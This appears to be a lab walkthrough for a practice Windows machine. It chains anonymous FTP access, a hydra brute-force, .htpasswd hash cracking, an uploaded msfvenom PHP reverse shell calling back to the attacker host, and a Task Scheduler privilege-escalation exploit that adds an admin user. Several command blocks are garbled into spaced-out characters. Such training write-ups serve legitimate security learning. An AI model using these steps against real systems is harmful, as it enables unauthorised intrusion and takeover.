Walkthrough Exploitation Guide for AuthBy Summary

We will initially exploit this machine through Anonymous FTP. After logging in as the anonymous FTP user, we will deduce the password of the admin FTP account. We’ll then use this account to discover additional system credentials which we’ll use to trigger our uploaded reverse shell. Finally, we’LL escalate with a local privilege escalation exploit. Enumeration Nmap

We’ll begin with an nmap scan.

kali@kali:~$ sudo nmap -p- 192.168.68.46 Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-27 17:32 UTC Nmap scan report for 192.168.68.46 Host is up (0.031s latency). Not shown: 65531 filtered ports PORT STATE SERVICE 21/tcp open ftp 242/tcp open direct 3145/tcp open csi-lfap 3389/tcp open ms-wbt-server

Next, we’ll launch an aggressive scan against the discovered open ports.

kali@kali:~$ sudo nmap -A -sV -p 21,242,3145,3389 192.168.68.46 Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-27 17:37 UTC Nmap scan report for 192.168.68.46 Host is up (0.037s latency).

PORT STATE SERVICE VERSION 21/tcp open ftp zFTPServer 6.0 build 2011-10-17 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | total 9680 | ---------- 1 root root 5610496 Oct 18 2011 zFTPServer.exe | ---------- 1 root root 25 Feb 10 2011 UninstallService.bat | ---------- 1 root root 4284928 Oct 18 2011 Uninstall.exe | ---------- 1 root root 17 Aug 13 2011 StopService.bat | ---------- 1 root root 18 Aug 13 2011 StartService.bat | ---------- 1 root root 8736 Nov 09 2011 Settings.ini | dr-xr-xr-x 1 root root 512 Dec 28 01:37 log | ---------- 1 root root 2275 Aug 09 2011 LICENSE.htm | ---------- 1 root root 23 Feb 10 2011 InstallService.bat | dr-xr-xr-x 1 root root 512 Nov 08 2011 extensions | dr-xr-xr-x 1 root root 512 Nov 08 2011 certificates |dr-xr-xr-x 1 root root 512 Aug 13 04:13 accounts 242/tcp open http Apache httpd 2.2.21 ((Win32) PHP/5.3.8) | http-auth: | HTTP/1.1 401 Authorization Required\x0D | Basic realm=Qui e nuce nuculeum esse volt, frangit nucem! |_http-server-header: Apache/2.2.21 (Win32) PHP/5.3.8 |http-title: 401 Authorization Required 3145/tcp open zftp-admin zFTPServer admin 3389/tcp open ssl/ms-wbt-server? | rdp-ntlm-info: | Target_Name: LIVDA | NetBIOS_Domain_Name: LIVDA | NetBIOS_Computer_Name: LIVDA | DNS_Domain_Name: LIVDA | DNS_Computer_Name: LIVDA | Product_Version: 6.0.6001 | System_Time: 2020-12-27T17:38:21+00:00 | ssl-cert: Subject: commonName=LIVDA | Not valid before: 2020-03-23T12:57:25 |_Not valid after: 2020-09-22T12:57:25 |_ssl-date: 2020-12-27T17:38:26+00:00; 0s from scanner time. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Vista SP2 (91%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The results indicate that the FTP server allows anonymous authentication. In addition, an Apache web server is running on port 242. FTP Enumeration

Since FTP appears to be wide-open, let’s log in as the anonymous user and enumerate available files and directories.

kali@kali:~$ ftp 192.168.68.46 Connected to 192.168.68.46. 220 zFTPServer v6.0, build 2011-10-17 14:25 ready. Name (192.168.68.46:kali): anonymous 331 User name received, need password. Password: 230 User logged in, proceed. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 200 PORT Command successful. 150 Opening connection for /bin/ls. total 9680 ---------- 1 root root 5610496 Oct 18 2011 zFTPServer.exe ---------- 1 root root 25 Feb 10 2011 UninstallService.bat ---------- 1 root root 4284928 Oct 18 2011 Uninstall.exe ---------- 1 root root 17 Aug 13 2011 StopService.bat ---------- 1 root root 18 Aug 13 2011 StartService.bat ---------- 1 root root 8736 Nov 09 2011 Settings.ini dr-xr-xr-x 1 root root 512 Dec 28 01:37 log ---------- 1 root root 2275 Aug 09 2011 LICENSE.htm ---------- 1 root root 23 Feb 10 2011 InstallService.bat dr-xr-xr-x 1 root root 512 Nov 08 2011 extensions dr-xr-xr-x 1 root root 512 Nov 08 2011 certificates dr-xr-xr-x 1 root root 512 Aug 13 04:13 accounts 226 Closing data connection. ftp>

The accounts directory looks interesting and is worth exploring.

ftp> cd accounts 250 CWD Command successful. ftp> dir 200 PORT Command successful. 150 Opening connection for /bin/ls. total 4 dr-xr-xr-x 1 root root 512 Aug 13 04:13 backup ---------- 1 root root 764 Aug 13 04:13 acc[Offsec].uac ---------- 1 root root 1030 Dec 28 01:38 acc[anonymous].uac ---------- 1 root root 926 Aug 13 04:13 acc[admin].uac 226 Closing data connection. ftp> exit 221 Goodbye. kali@kali:~$

This directory contains a UAC account file for the admin user. Exploitation FTP User Login Brute-Force

Let’s brute-force the admin account with hydra and the rockyou.txt wordlist.

kali@kali:~$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -e nsr -f ftp://192.168.68.46 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-27 17:43:40 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344402 login tries (l:1/p:14344402), 896526 tries per task [DATA] attacking ftp://192.168.68.46:21/ [21][ftp] host: 192.168.68.46 login: admin password: admin [STATUS] attack finished for 192.168.68.46 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-12-27 17:43:44 kali@kali:$

This reveals that the password is admin. Further FTP Enumeration

We can now log in to FTP with the admin:admin credentials and enumerate further.

Inside this user’s directory, we find three files: index.php, .htpasswd, and .htaccess. Let’s download them to our attack machine for closer inspection.

ftp> get index.php local: index.php remote: index.php 200 PORT Command successful. 150 File status okay; about to open data connection. 226 Closing data connection. 76 bytes received in 0.10 secs (0.7232 kB/s) ftp> get .htpasswd local: .htpasswd remote: .htpasswd 200 PORT Command successful. 150 File status okay; about to open data connection. 226 Closing data connection. 45 bytes received in 0.11 secs (0.4185 kB/s) ftp> get .htaccess local: .htaccess remote: .htaccess 200 PORT Command successful. 150 File status okay; about to open data connection. 226 Closing data connection. 161 bytes received in 0.10 secs (1.5832 kB/s) ftp> bye 221 Goodbye. kali@kali:~$

The index.php file doesn’t contain anything of value.

The .htpasswd file contains a password hash for the offsec user.

kali@kali:~ $c a t . h tp a ss w d o f f sec :$ apr1 $o R f R sc / K$ UpYpplHDlaemqseM39Ugg0

The .htaccess file indicates that the .htpasswd file is used for authentication.

kali@kali:~ $c a t . h t a ccess A u t h N am e " Q u i e n u ce n u c u l e u m esse v o l t, f r an g i t n u ce m! " A u t h T y p e B a s i c A u t h U ser F i l ec : w am p \www \dot{h} tp a ss w d < L imi tGE T P O S T P U T > R e q u i r e v a l i d - u ser < / L imi t > k a l i @ k a l i :$

This means that if we crack the hash, we can authenticate as the offsec user. Password Cracking

We can use john to attempt to crack the retrieved password hash.

kali@kali:~ $j o hn . h tp a ss w d - - w or d l i s t = / u sr / s ha r e / w or d l i s t s / r oc k y o u . t x t W a r nin g : d e t ec t e d ha s h t y p e " m d 5 cr y pt ", b u tt h es t r in g i s a l sor eco g ni z e d a s " m d 5 cr y pt - l o n g " U se t h e " - - f or ma t = m d 5 cr y pt - l o n g " o pt i o n t o f or ce l o a d in g t h ese a s t ha tt y p e in s t e a d U s in g d e f a u l t in p u t e n co d in g : U T F - 8 L o a d e d 1 p a ss w or d ha s h (m d 5 cr y pt, cr y pt (3)$ 1 $(an d v a r ian t s) [M D 5256/256 A V X 28 x 3]) W i l l r u n 4 O p e n M P t h r e a d s P r es s^{'} q^{'} or C t r l - C t o ab or t, a l m os t an y o t h er k ey f or s t a t u se l i t e (o f f sec) 1 g 0 : 00 : 00 : 00 D O N E (2020 - 12 - 2717 : 56) 8.333 g / s 211200 p / s 211200 c / s 211200 C / s 191192..260989 U se t h e " - - s h o w " o pt i o n t o d i s pl a y a l l o f t h ecr a c k e d p a ss w or d sr e l iab l y S ess i o n co m pl e t e d k a l i @ k a l i :$

We discover that the password for the offsec user is elite. PHP Reverse Shell

Since we discovered a PHP file on the server, it is reasonable to assume that the server can interpret and process PHP files. We can try to upload a PHP reverse shell. First, we’ll generate the payload.

kali@kali:~$ msfvenom -p php/meterpreter/reverse_tcp -f raw lhost=192.168.49.68 lport=443 > pwn.php

[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 1113 bytes

Next, we’ll log back in to FTP as admin and upload the malicious PHP file.

kali@kali:~ $f tp 192.168.68.46 C o nn ec t e d t o 192.168.68.46.220 z F T P S er v er v 6.0, b u i l d 2011 - 10 - 1714 : 25 r e a d y . N am e (192.168.68.46 : k a l i) : a d min 331 U ser nam er ece i v e d, n ee d p a ss w or d . P a ss w or d : 230 U ser l o g g e d in, p r ocee d . R e m o t esy s t e m t y p e i s U N I X . U s in g bina r y m o d e t o t r an s f er f i l es . f tp > d i r 200 P O R T C o mman d s u ccess f u l .150 O p e nin g co nn ec t i o n f or / bin / l s . t o t a l 3 - r - - r - - r - - 1 r oo t r oo t 76 N o v 082011 in d e x . p h p - r - - r - - r - - 1 r oo t r oo t 45 N o v 082011. h tp a ss w d - r - - r - - r - - 1 r oo t r oo t 161 N o v 082011. h t a ccess 226 C l os in g d a t a co nn ec t i o n . f tp > p u tpw n . p h pl oc a l : pw n . p h p r e m o t e : pw n . p h p 200 P O R T C o mman d s u ccess f u l .150 F i l es t a t u so k a y; ab o u tt oo p e n d a t a co nn ec t i o n .226 C l os in g d a t a co nn ec t i o n .1113 b y t esse n t in 0.00 secs (14.9499 M B / s) f tp > d i r 200 P O R T C o mman d s u ccess f u l .150 O p e nin g co nn ec t i o n f or / bin / l s . t o t a l 5 - r - - r - - r - - 1 r oo t r oo t 1113 D ec 2802 : 08 pw n . p h p - r - - r - - r - - 1 r oo t r oo t 76 N o v 082011 in d e x . p h p - r - - r - - r - - 1 r oo t r oo t 45 N o v 082011. h tp a ss w d - r - - r - - r - - 1 r oo t r oo t 161 N o v 082011. h t a ccess 226 C l os in g d a t a co nn ec t i o n . f tp > b y e 221 G oo d b y e . k a l i @ k a l i :$

Let’s set up our meterpreter listener and trigger the reverse shell by connecting on port 242 with the recovered credentials of offsec:elite.

kali@kali:~$ msfconsole … msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 192.168.49.68 LHOST => 192.168.49.68 msf5 exploit(multi/handler) > set LPORT 443 LPORT => 443 msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.49.68:443

Now, we’ll trigger our reverse shell.

kali@kali:~$ curl —user offsec:elite 192.168.68.46:242/pwn.php

The listener indicates that we have received our shell.

msf5 exploit(multi/handler) > run

[] Started reverse TCP handler on 192.168.49.68:443 [] Sending stage (38288 bytes) to 192.168.68.46 [*] Meterpreter session 1 opened (192.168.49.68:443 -> 192.168.68.46:49167) at 2020-12-27 18:14:21 +0000

meterpreter > getuid Server username: apache (0) meterpreter >

Escalation Local Enumeration

Next, we’ll perform local enumeration in the hopes of escalating our privileges. We’ll begin by enumerating the operating system version.

meterpreter > sysinfo Computer : LIVDA OS : Windows NT LIVDA 6.0 build 6001 (Windows Server 2008 Standard Edition Service Pack 1) i586 Meterpreter : php/windows meterpreter >

According to the Exploit Database, this machine is vulnerable to a Task Scheduler Privilege Escalation exploit.

kali@kali:~$ searchsploit ""Privilege Escalation"" | uniq | grep -v metasploit | grep -i ""windows "" Fortinet FortiClient 5.2.3 (Windows 10 x64 Creators) - Local Privilege E | exploits/windows_x86-64/local/45149.cpp Fortinet FortiClient 5.2.3 (Windows 10 x64 Post-Anniversary) - Local Pri | exploits/windows_x86-64/local/41722.c Fortinet FortiClient 5.2.3 (Windows 10 x64 Pre-Anniversary) - Local Priv | exploits/windows_x86-64/local/41721.c Fortinet FortiClient 5.2.3 (Windows 10 x86) - Local Privilege Escalation | exploits/windows_x86/local/41705.cpp

…

Microsoft Windows - Task Scheduler Privilege Escalation | exploits/windows/local/15589.wsf

…

Windows - NtUserSetWindowFNID Win32k User Callback Privilege Escalation | exploits/windows/local/47134.rb Windows - Shell COM Server Registrar Local Privilege Escalation | exploits/windows/local/47880.cc XAMPP for Windows 1.6.3a - Local Privilege Escalation | exploits/windows/local/4325.php

Task Scheduler Privilege Escalation Exploit

Let’s copy the exploit file to a directory on our attack machine.

kali@kali:~$ file /usr/share/exploitdb/exploits/windows/local/15589.wsf /usr/share/exploitdb/exploits/windows/local/15589.wsf: HTML document, ASCII text, with CRLF line terminators

kali@kali:~$ cp /usr/share/exploitdb/exploits/windows/local/15589.wsf .

This exploit creates a new user (test123) with a matching password (test123) and adds the user to the Administrators group:

a.WriteLine (""net user /add test123 test123"") a.WriteLine (""net localgroup administrators /add test123"")

Let’s upload the exploit using our meterpreter session and then execute it on the target.

meterpreter > ls

Listing: C:\wamp\www

Mode Size Type Last modified Name

100666/rw-rw-rw- 161 fil 2011-11-08 15:58:11 +0000 .htaccess 100666/rw-rw-rw- 45 fil 2011-11-08 15:53:09 +0000 .htpasswd 100666/rw-rw-rw- 76 fil 2011-11-08 15:45:29 +0000 index.php 100666/rw-rw-rw- 1113 fil 2020-12-27 18:08:12 +0000 pwn.php

meterpreter > upload 15589.wsf /Users/apache/Desktop/ [] uploading : 15589.wsf -> /Users/apache/Desktop/ [] uploaded : 15589.wsf -> /Users/apache/Desktop/\15589.wsf meterpreter > execute -f cscript -a C:/Users/apache/Desktop/15589.wsf Process 2868 created. meterpreter >

After the exploit has completed, we can connect to remote desktop with test123:test123.

kali@kali:~$ rdesktop 192.168.68.46 -u test123 -p test123 Autoselecting keyboard map ‘en-us’ from locale

ATTENTION! The server uses and invalid security certificate which can not be trusted for the following identified reasons(s);

Certificate issuer is not trusted by this system. Issuer: CN=LIVDA
Certificate has expired. Valid to: Tue Sep 22 12:57:25 2020

Review the following certificate info before you trust it to be added as an exception. If you do not trust the certificate the connection atempt will be aborted:

Subject: CN=LIVDA
 Issuer: CN=LIVDA

Valid From: Mon Mar 23 12:57:25 2020 To: Tue Sep 22 12:57:25 2020

Certificate fingerprints:

   sha1: 92f40781ed691eb1f4a5463fa1c7a36661dce8a0
 sha256: 3556cd6b7171d75fa2a737ceca4a69ba77583af6177683dbe099ad3dded93aa5

Do you trust this certificate (yes/no)? yes Connection established using SSL. Protocol(warning): process_pdu_logon(), Unhandled login infotype 1

If everything worked as expected, we have access to the system as a local administrator.

The Security Notebook

Explorer

walkth

meterpreter > ls

Graph View

Backlinks